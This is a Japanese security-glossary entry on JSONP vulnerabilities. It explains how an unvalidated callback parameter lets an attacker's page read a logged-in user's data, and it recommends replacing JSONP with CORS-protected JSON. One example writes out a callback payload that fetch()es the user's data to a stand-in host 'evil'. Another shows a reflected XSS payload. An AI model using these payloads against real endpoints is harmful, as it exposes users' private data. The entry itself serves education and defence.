JSONP の脆弱性
JSONP の脆弱性 とは何ですか?
JSONP の脆弱性JSONP エンドポイントが認証済みの機密データを攻撃者指定のコールバック関数でラップして返すことにより発生するクロスオリジン情報漏洩。
JSONP(JSON with Padding)は、サーバが callback({...}) という形式の JavaScript を返し、リモートページが <script src> から取り込めるレガシーなクロスオリジン手法です。認証済みのユーザデータを返す JSONP エンドポイントで、コールバックパラメータが検証なしに反映されると脆弱性が生まれます。攻撃者は自前の関数名を指定したページから JSONP URL を読み込み、レスポンスを取得することで同一オリジンポリシーや当時の SameSite Cookie 保護を回避できます。さらに、識別子として有効でない値が反映される実装では XSS にもつながります。現代的なベストプラクティスは、JSONP を撤廃し、CORS で保護した JSON に置き換え、機密エンドポイントを <script> から取り込めないようにすることです。
● 例
- 01
/api/me?callback=window['x']=function(d){fetch('https://evil/?d='+JSON.stringify(d))}。
- 02
callback パラメータがそのまま反映され、callback=alert(1)// で XSS となる例。
● よくある質問
JSONP の脆弱性 とは何ですか?
JSONP エンドポイントが認証済みの機密データを攻撃者指定のコールバック関数でラップして返すことにより発生するクロスオリジン情報漏洩。 サイバーセキュリティの 攻撃と脅威 カテゴリに属します。
JSONP の脆弱性 とはどういう意味ですか?
JSONP エンドポイントが認証済みの機密データを攻撃者指定のコールバック関数でラップして返すことにより発生するクロスオリジン情報漏洩。
JSONP の脆弱性 はどのように機能しますか?
JSONP(JSON with Padding)は、サーバが callback({...}) という形式の JavaScript を返し、リモートページが <script src> から取り込めるレガシーなクロスオリジン手法です。認証済みのユーザデータを返す JSONP エンドポイントで、コールバックパラメータが検証なしに反映されると脆弱性が生まれます。攻撃者は自前の関数名を指定したページから JSONP URL を読み込み、レスポンスを取得することで同一オリジンポリシーや当時の SameSite Cookie 保護を回避できます。さらに、識別子として有効でない値が反映される実装では XSS にもつながります。現代的なベストプラクティスは、JSONP を撤廃し、CORS で保護した JSON に置き換え、機密エンドポイントを <script> から取り込めないようにすることです。
JSONP の脆弱性 からどのように防御しますか?
JSONP の脆弱性 に対する防御は通常、上記の定義で述べたとおり、技術的統制と運用上の実践を組み合わせます。
JSONP の脆弱性 の別名は何ですか?
一般的な別名: JSONP リーク, JSONP ハイジャック。
● 関連用語
- appsec№ 223
CORS(オリジン間リソース共有)
ブラウザが強制する仕組みで、サーバーが同一オリジンポリシーを選択的に緩め、あるオリジンの JavaScript から別オリジンのレスポンスを読み取れるようにする。
- attacks№ 224
CORS の設定不備
信頼できないオリジンが認証済みレスポンスを読み取れてしまう CORS 設定不備。Origin を反射し、Access-Control-Allow-Credentials: true を返す例が典型的。
- attacks№ 240
クロスサイトスクリプティング(XSS)
他のユーザーが閲覧するページに悪意あるスクリプトを注入し、当該サイトのオリジンとして被害者のブラウザで実行させる Web 脆弱性。
- appsec№ 960
同一オリジンポリシー (SOP)
あるオリジンから読み込まれた文書やスクリプトが、別のオリジンのリソースとどのように相互作用できるかを制限するブラウザのセキュリティ規則。
- attacks№ 239
クロスサイトリクエストフォージェリ(CSRF)
認証済みユーザーのブラウザに、脆弱なサイトへ意図しないリクエストを送らせ、本人の同意なく状態変更操作を実行させる Web 攻撃。
- attacks№ 1016
セッションハイジャック
セッション識別子を盗用または偽造して被害者の認証済みセッションを乗っ取り、攻撃者が認証情報なしで本人として振る舞う攻撃。